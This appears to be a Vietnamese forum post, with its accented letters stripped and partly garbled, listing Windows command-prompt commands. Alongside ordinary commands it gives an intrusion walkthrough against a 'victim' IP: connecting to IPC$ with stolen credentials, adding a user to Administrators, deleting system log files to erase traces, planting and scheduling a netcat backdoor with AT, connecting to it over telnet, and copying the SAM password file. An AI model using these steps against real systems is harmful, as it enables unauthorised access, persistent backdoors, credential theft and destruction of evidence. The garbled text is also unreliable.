You are on page 1of 3

MT S LNH DNG TRONG CMD

1. Lnh Ping :
C php: Code: ping ip/host [/t][/a][/l][/n] - ip: a ch IP ca my cn kim tra; host l tn ca my tnh cn kim tra.
Ngi ta c th s dng a ch IP hoc tn ca my tnh. - Tham s /t: S dng tham s ny my tnh lin tc
"ping" n my tnh ch, cho n khi bn bm Ctrl + C - Tham s /a: Nhn a ch IP t tn host - Tham s /l : Xc
nh rng ca gi tin gi i kim tra. Mt s hacker s dng tham s ny tn cng t chi dch v mt my tnh
(Ping of Death - mt loi DoS), nhng ti ngh l hacker c cng c ring ping mt gi tin ln nh th ny, v phi
c nhiu my tnh cng ping mt lt. - Tham s /n : Xc nh s gi tin s gi i. V d: ping 174.178.0.1/n 5 Cng
dng : + Lnh ny c s dng kim tra xem mt my tnh c kt ni vi mng khng. Lnh Ping s gi cc gi
tin t my tnh bn ang ngi ti my tnh ch. Thng qua gi tr m my tnh ch tr v i vi tng gi tin, bn c
th xc nh c tnh trng ca ng truyn (chng hn: gi 4 gi tin nhng ch nhn c 1 gi tin, chng t
ng truyn rt chm (xu)). Hoc cng c th xc nh my tnh c kt ni hay khng (Nu khng kt ni,kt
qu l Unknow host)....
2. Lnh Tracert :
C php : Code: tracert ip/host Cng dng : + Lnh ny s cho php bn "nhn thy" ng i ca cc gi tin t my
tnh ca bn n my tnh ch, xem gi tin ca bn vng qua cc server no, cc router no... Qu hay nu bn
mun thm d mt server no .
3. Lnh Net Send:
gi thng ip trn mng (ch s dng trn h thng my tnh Win NT/2000/XP): C php: Net send ip/host
thng_ip_mun_gi Cng dng: + Lnh ny s gi thng ip ti my tnh ch (c a ch IP hoc tn host) thng
ip: thng_ip_mun_gi. + Trong mng LAN, ta c th s dng lnh ny chat vi nhau. Trong phng vi tnh
ca trng tui thng dng lnh ny gho mi ngi! Bn cng c th gi cho tt c cc my tnh trong mng
LAN theo cu trc sau : Code: Net send * hello!I'm pro_hacker_invn
4. Lnh Netstat :
C php: Code: Netstat [/a][/e][/n] - Tham s /a: Hin th tt c cc kt ni v cc cng ang lng nghe (listening) -
Tham s /e: hin th cc thng tin thng k Ethernet - Tham s /n: Hin th cc a ch v cc s cng kt ni... Ngoi
ra cn mt vi tham s khc, hy g Netstat/? bit thm Cng dng : + Lnh Netstat cho php ta lit k tt c cc
kt ni ra v vo my tnh ca chng ta.
5. Lnh IPCONFIG :
C php: Code: ipconfig /all Cng dng: + Lnh ny s cho php hin th cu hnh IP ca my tnh bn ang s dng,
nh tn host, a ch IP, mt n mng...
6. Lnh FTP (truyn ti file):
C php: Code: ftp ip/host Nu kt ni thnh cng n my ch, bn s vo mn hnh ftp, c du nhc nh sau:
Code: ftp>_ Ti y, bn s thc hin cc thao tc bng tay vi ftp, thay v dng cc chng trnh kiu Cute FTP,
Flash FXP. Nu kt ni thnh cng, chng trnh s yu cu bn nhp User name, Password. Nu username v
pass hp l, bn s c php upload, duyt file... trn my ch. Mt s lnh ftp c bn: -cd thu_muc: chuyn sang
th mc khc trn my ch - dir: Xem danh sch cc file v th mc ca th mc hin thi trn my ch - mdir
thu_muc: To mt th mc mi c tn thu_muc trn my ch - rmdir thu_muc: Xo (remove directory) mt th mc
trn my ch - put file: ti mt file file (y c ng dn. VD: c:\tp\bin\baitap.exe) t my bn ang s dng ln
my ch. - close: ng phin lm vic - quit: Thot khi chng trnh ftp, quay tr v ch DOS command. Ngoi
ra cn mt vi lnh na, xin mi cc bn t tm hiu. Cng dng : + FTP l mt giao thc c s dng gi v
nhn file gia cc my tnh vi nhau. Windows ci t sn lnh ftp, c tc dng nh mt chng trnh chy trn
nn console (vn bn), cho php thc hin kt ni n my ch ftp

1
7. Lnh Net View :
C php: Code: Net View [\\computer|/Domain[:ten_domain]] Cng dng: + Nu ch nh net view [enter], n s hin
ra danh sch cc my tnh trong mng cng domain qun l vi my tnh bn ang s dng. + Nu nh net view
\\tenmaytinh, s hin th cc chia s ti nguyn ca my tnh tenmaytinh . Sau khi s dng lnh ny, cc bn c th
s dng lnh net use s dng cc ngun ti nguyn chia s ny.
8. Lnh Net Use :
C php: Code: Net use \\ip\ipc$ "pass" /user:"xxx" - ip: a ch IP ca victim. - xxx: user ca my victim - pass:
password ca user Gi s ta c c user v pass ca victim c IP l 68.135.23.25 trn net th ta c th kt ni n
my tnh ri y! V d: user: vitim ; pass :12345 . Ta dng lnh sau: Code: Net use \\68.135.23.25\ipc$ "12345"
/user:"victim" Cng dng: + kt ni mt IPC$ n my tnh victim (bt u qu trnh xm nhp).
9. Lnh Net User :
C php: Code: Net User [username pass] [/add] - Username : tn user cn add - pass : password ca user cn add
Khi add c user vo ri th ta tin hnh add user ny vo nhm administrator. Code: Net Localgroup Adminstrator
[username] [/add] Cng dng: + Nu ta ch nh lnh Net User th s hin th cc user c trong my tnh. + Nu ta
nh lnh Net User [username pass] [/add] th my tnh s tin hnh thm mt ngi dng vo. V d: ta tin hnh
add thm mt user c tn l xuanhoa , password l :banvatoi vo vi cu trc lnh nh sau: Code: Net User xuanhoa
banvatoi /add Sau add user xuanhoa vo nhm adminnistrator Code: Net Localgroup Administrator xuanhoa /add
10. Lnh Shutdown:
C php: Code: Shutdown [-m \\ip] [-t xx] [-i] [-l] [-s] [-r] [-a] [-f] [-c "commet] [-d upx:yy] (p dng cho win XP) - Tham
s -m\\ip : ra lnh cho mt my tnh t xa thc hin cc lnh shutdown, restart,.. - Tham s -t xx : t thi gian cho
vic thc hin lnh shutdown. - Tham s -l : logg off (lu ko th thc hin khi remote) - Tham s -s : shutdown -
Tham s -r : shutdown v restart - Tham s -a : khng cho shutdown - Tham s -f : shutdown m ko cnh bo - Tham
s -c "comment" : li cnh bo trc khi shutdown - Tham s -d upx:yy : ko r Code: shutdown \\ip (p dng win NT)
r hn v lnh shutdown bn c th g shutdown /? c hng dn c th hn! Cng dng: + Shutdown
my tnh.
11. Lnh DIR :
C php: Code: DIR [drive:][path][filename] Lnh ny qu cn bn ri, chc tui khi hng dn, r hn bn nh
lnh DIR /? c hng dn. Cng dng: + xem file, folder.
12. Lnh DEL :
C php: Code: DEL [drive:][path][filename] Lnh ny cng cn bn ri, ko phi ni nhu. Cng dng: Xa mt file,
thng thng sau khi xm nhp vo h thng, ta phi tin hnh xa du vt ca mnh khi b pht hin.Sau y
l nhng files nht k ca Win NT: Code: del C:\winnt\system32\logfiles\*.* del C:\winnt\ssytem32\config\*.evt del
C:\winnt\system32\dtclog\*.* del C:\winnt\system32\*.log del C:\winnt\system32\*.txt del C:\winnt\*.txt del
C:\winnt\*.log
13. Lnh to a o trn computer:
C php: Code: Net use z: \\ip\C$ ( hoc l IPC$ ) - Z l ca mnh...cn C$ l ca Victim Cng dng: To 1 a o
trn my tnh (lnh ny tui ko r nn ko th hng dn chi tit c)
14. Lnh Net Time :
C php: Code: Net Time \\ip Cng dng: + Cho ta bit thi gian ca victim, sau dng lnh AT khi ng
chng trnh.
15. Lnh AT:
C php: Code: AT \\ip Cng dng: + Thng thng khi xm nhp vo my tnh victim khi rt lui th ta s tng qu
lu nim ln my tnh victim, khi copy troj hoc backdoor ln my tnh ri ta s dng lnh at khi ng chng.
V d: y tui c con troj tn nc.exe (NC l t vit tc ca NETCAT....n l mt telnet server vi port 99) v c copy

2
ln my victim ri. u tin ta cn bit thi gian ca victim c IP l : 68.135.23.25 . Code: Net Time \\68.135.23.25
By h n s phn hi cho ta thi gian ca victim, v d : 12:00. Code: AT \\68.135.23.25 12:3 nc.exe i n 12:3 l
n s t chy trn my nn nhn v chng ta c th connected n port 99.
16. Lnh Telnet:
C php: Code: telnet host port G telnet /? bit thm chi tit. Nhng nu nh my victim dnh con nc ri th
ta ch cn connect n port 99 l OKie Code: telnet 68.135.23.25 99 Cng dng: + Kt ni n host qua port xx
17. Lnh COPY:
C php: Code: COPY /? Dng lnh trn r hn! Cng dng: + Copy file, tui khi ni thm nh. V d:chng ta
copy files index trn C ca mnh ln C ca 127.0.0.1 Code: Copy Index.html \\127.0.0.1\C$\index.html nu bn
copy ln folder winNt Code: Copy index.html \\127.0.0.1\admin$\index.html mun copy files trn my victm th bn
g vo : Code: Copy \\127.0.0.1\Admin$\repair\sam._c:\
18. Lnh SET:
C php: Code: SET Cng dng: + Displays, sets, or removes cmd.exe enviroment variables. 19. Lnh Nbtstat: C
php: Code: Nbtstat /? G lnh trn r hn v lnh ny. Cng dng: + Display protocol statistic and curent TCP/IP
connections using NBT (netbios over TCP?IP) Trn y l mt s hiu bit hn hp ca em v cc lnh CMD, em
c c t rt nhiu ngun khc nhau, nay tng hp li cho mi ngi tham kho. C mt s lnh em vn cha
hiu cu trc lnh v cha c iu kin thc hnh th nn ko hng dn k. Ai bit th gp nh! Mong cc pro
ng ci! Nu thy bi vit ca em hay th lm n thank cho mt ci nh
19 bootcfg : xem thit lp phn ti h iu hnh ban u .
20 defrag : lnh ny dng dn a cng .
21 diskpart : qun l phn vng trn a . Chng ta c th bm DISKPART / ? xem hng dn cch dng chi tit
.
22 driverquery : nhn danh sch cc chng trnh Driver v nhng thuc tnh ca chng .
23 getmac : nhn a ch MAC ( Media Access Control ) ca Card mng .
24 gpresult : nhn RSoP , nhng thit lp ngi dng v nhng thit lp ca chnh sch nhm.
25 netsh : cng c cu hnh mng . Bm NETSH / ? bit thm chi tit . thot khi cng c ny g lnh NETSH>
26 openfiles : cho php Admin hin th hoc b kt ni nhng file ang m trong XP Pro . Bm OPENFILES/?
bit thm v tham s .
27 recover : khi phc nhng thng tin khng th c c trn a .
28 reg : cng c cho Registry .
29 schtasks : Admin c th to lch trnh , thay i , xo nhng nhim v trn my trm hoc nhng my iu khin
t xa . SCHTASKS/? hin th nhng tham s .
30 sfc : kim tra file h thng , bo v v thay th , sa cha nhng file h thng b hng .
31 shutdown : bn c th tt hoc khi ng li my tnh ca mnh hoc Admin c th tt hoc khi ng li nhng
my tnh iu khin t xa .
32 systeminfo : hin th nhng thng tin cu hnh c bn .
33 tasklist : cho chng ta bit nhng chng trnh no ang chy .
34 taskkill : tt nhng chng trnh ang chy
35 dxdiag : cu hnh